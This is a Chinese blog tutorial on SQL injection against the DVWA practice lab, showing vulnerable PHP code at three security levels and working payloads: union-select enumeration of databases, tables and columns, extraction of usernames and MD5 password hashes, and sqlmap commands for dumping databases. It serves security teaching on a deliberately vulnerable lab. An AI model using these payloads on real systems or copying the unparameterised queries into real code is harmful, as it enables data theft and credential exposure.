PHP代码审计DVWASQL注入[SQL Injection]

本文详细介绍了SQL注入攻击的原理、危害以及经典案例,包括如何利用注入漏洞获取数据库信息。同时,针对LOW、MEDIUM和HIGH三种防护级别,展示了不同防护措施下的攻击方式。并提到了使用sqlmap工具进行自动化检测与利用。最后,强调了防范SQL注入的重要性,推荐使用参数化查询和输入验证来加强安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述

SQL注入[SQL Injection]

靶场搭建可以用蓝易云服务器

😘😘😘😘😘😘点击查看详情

Sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

Sql 注入产生原因及威胁:

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

简单来说就是,sql语句会结合用户所输入的信息去执行查询等操作,如果用户在信息当中插入了额外的查询语句等等,在执行整个语句的同时会附带的去执行用户输入的查询语句

LOW

代码分析

<?php
    //if判断
    //提交值不能为空
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    //获取用户输入的id号
    $id = $_REQUEST[ 'id' ];

    // Check database
    //查询id号所对应的用户名称
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    //执行连接数据库查询
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    //查询到结果后
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        //将信息赋值非对应变量
        //名字
        $first = $row["first_name"];
        //姓
        $last  = $row["last_name"];

        // Feedback for end user
        //输出所查询到的数据
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    //关闭先前打开的数据库连接
    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

先看看他是怎么操作的

输入一个1

在这里插入图片描述

回显了名称为admin

姓氏为admin

这是id为1所对应的值

我们根据代码分析和实际的回显信息

我们知道他和数据库是有一定的交互会话的,那么这意思SQL漏洞必不可少的因素,就是必须要和数据库有连接交互

那么下面我们用最简单的判断存在漏洞的sql语句去判断他是否存在漏洞

经典永流传

and 1=2

整个是

前面最号要用单引号闭合一下

id =1'and 1=2

尾部要闭合掉后面

1 ' and 1=2 #

在这里插入图片描述

当我们这样去执行的时候

在这里插入图片描述

他的回显是没有的和正常的回显不一样

当有异常的回显的时候,初步判断存在SQL注入漏洞

1 ' or 1=2 #

这个判断也可以

如果手工去注入的话

判断存在漏洞

下一步就是猜字段长度

判断字段

1and 1=1 order by 1#

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

当我们输入order by 3的时候,就异常了,说明什么??

说明不存3只有1和2

1 'and 1=1 order by 3#

union select 联合查询

union select 1,2#
1'union select 1,2#

在这里插入图片描述

是OK的

他这里1和2都是可以于数据库关联的位置

我们就插进去语句就可以了

查看库名的sql语句是

show databases;

那么这里插入的是

database()
1'union select 1,database()#

这样就可以了,不需要show了

场景上的原因,所以有所不同吧

我们执行看看

在这里插入图片描述

在我们这个2的位置就爆出了这个数据库名称

显示当前数据库:
1'union select version(),database()# 
获取表名
-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

在这里插入图片描述

获取列名
-1' union select 1,column_name from information_schema.columns  where table_name='users'#

columns =列的意思

table=表的意思

在这里插入图片描述

获取账号密码信息
1'union select group_concat(user_id,first_name),group_concat(user,password)from users#

在这里插入图片描述

都获取下来了

ID: 1'union select group_concat(user_id,first_name),group_concat(user,password)from users#
First name: admin
Surname: admin
ID: 1'union select group_concat(user_id,first_name),group_concat(user,password)from users#
First name: 1admin,2Gordon,3Hack,4Pablo,5Bob
Surname: admin5f4dcc3b5aa765d61d8327deb882cf99,gordonbe99a18c428cb38d5f260853678922e03,13378d3533d75ae2c3966d7e0d4fcc69216b,pablo0d107d09f5bbe40cade3de5c71e9e9b7,smithy5f4dcc3b5aa765d61d8327deb882cf99

这个是md5值

5f4dcc3b5aa765d61d8327deb882cf99,gordonbe99a18c428cb38d5f260853678922e03,13378d3533d75ae2c3966d7e0d4fcc69216b,pablo0d107d09f5bbe40cade3de5c71e9e9b7,smithy5f4dcc3b5aa765d61d8327deb882cf99

需要md5解密

Medium

代码分析

<?php
    //if判断
    //提交值不能为空
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    //获取id号
    $id = $_POST[ 'id' ];

    //返回已转义的字符串。
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    //连接数据库查询
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        //将信息赋值非对应变量
        //名字
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        //输入所得信息
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
//返回指定列的值的数目
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
//关闭数据库连接

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

在这里插入图片描述

这个就不需要输入了

而是他获得到了有多少id号,让你选择

那么这怎么注入了

没有回显了

很简单小问题上工具

梭哈

抓取当前的数据包

在这里插入图片描述

可以看到数据包中还是可以看到id信息的

怎么搞呢

我们用到sqlmap工具

在这里插入图片描述

在这个工具目录中

创建一个1.txt

文件

任何把数据包放到里面去

在这里插入图片描述

任何启动工具

python sqlmap.py -l 1.txt --batch

在这里插入图片描述

任何就OK了

python sqlmap.py -l 1.txt --batch --dbs 

这是爆库的

那么如果你想手工

也是可以的

怎么搞呢

我们来到刚刚的抓包工具

在这里插入图片描述

右键
在这里插入图片描述

把数据包发送到重发模式下

在这里插入图片描述

在数据包中改

改完发送就可以了

注意

在这里插入图片描述

是没有单引号的

Hgih

代码分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

这个代码和LOW差不多

只不过多了一个弹窗

在这里插入图片描述

差不多的

手工也可以

工具也可以

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无聊的知识

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值